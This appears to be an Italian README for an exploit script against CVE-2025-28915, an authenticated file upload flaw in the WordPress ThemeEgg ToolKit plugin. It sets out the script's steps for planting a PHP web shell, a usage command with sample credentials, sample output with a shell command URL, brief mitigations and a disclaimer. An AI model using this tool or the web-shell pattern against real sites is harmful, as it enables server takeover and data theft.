CVE-2025-28915 - Exploit per Arbitrary File Upload in WordPress ThemeEgg ToolKit

📌 Descrizione

Una vulnerabilità di Unrestricted File Upload nel plugin ThemeEgg ToolKit per WordPress (versioni ≤ 1.2.9) consente a attaccanti autenticati di caricare web shell sul server. Ciò può portare a esecuzione remota di codice (RCE), compromissione totale del sito web e accesso non autorizzato ai dati sensibili.

• ID CVE: CVE-2025-28915
• Gravità: 🔴 Critico (CVSS: 9.1)
• Versioni interessate: ThemeEgg ToolKit ≤ 1.2.9
• Vettore d'attacco: Autenticato, richiede un utente WordPress con privilegi sufficienti
• Impatto: Compromissione totale del server, esecuzione di codice, esfiltrazione di dati

🔥 Panoramica dell'Exploit

Questo script automatizza lo sfruttamento di CVE-2025-28915:

1. Verifica della versione del plugin per confermare la vulnerabilità.
2. Accesso a WordPress utilizzando le credenziali fornite.
3. Estrazione del nonce di sicurezza richiesto per l'autenticazione.
4. Caricamento di una PHP Web Shell tramite l'endpoint vulnerabile.
5. Fornitura dell'URL della shell per le attività post-exploitation.

🚀 Utilizzo

Prerequisiti:

• Python 3.x
• requests, beautifulsoup4

Installazione:

pip install requests beautifulsoup4

Esempio di comando:

python CVE-2025-28915.py -u http://192.168.100.74:888/wordpress -un admin -p password123

Argomenti:

🎯 Esempio di Output dell'Exploit

[+] Vulnerable version detected: 1.2.9
[+] Logged in successfully.
[+] Found security nonce: f82467a997
[*] Uploading Web Shell...
[+] Web Shell uploaded successfully!
[+] Potential Web Shell location: http://target.com/wp-content/uploads/2025/03/shell.php
[*] Test command: http://target.com/wp-content/uploads/2025/03/shell.php?cmd=id

⚠️ Mitigazione

• Aggiorna ThemeEgg ToolKit a una versione corretta (>1.2.9).
• Limita i caricamenti di file consentendo solo i tipi di file necessari.
• Implementa plugin di sicurezza che blocchino i caricamenti di file non autorizzati.
• Monitora i log per attività sospette.

📜 Disclaimer Legale

Questo script è destinato esclusivamente a scopi educativi e di test di sicurezza autorizzati. L'uso non autorizzato è illegale e non etico. L'autore non si assume alcuna responsabilità per un uso improprio.

Di: Khaled Alenazi (Nxploit)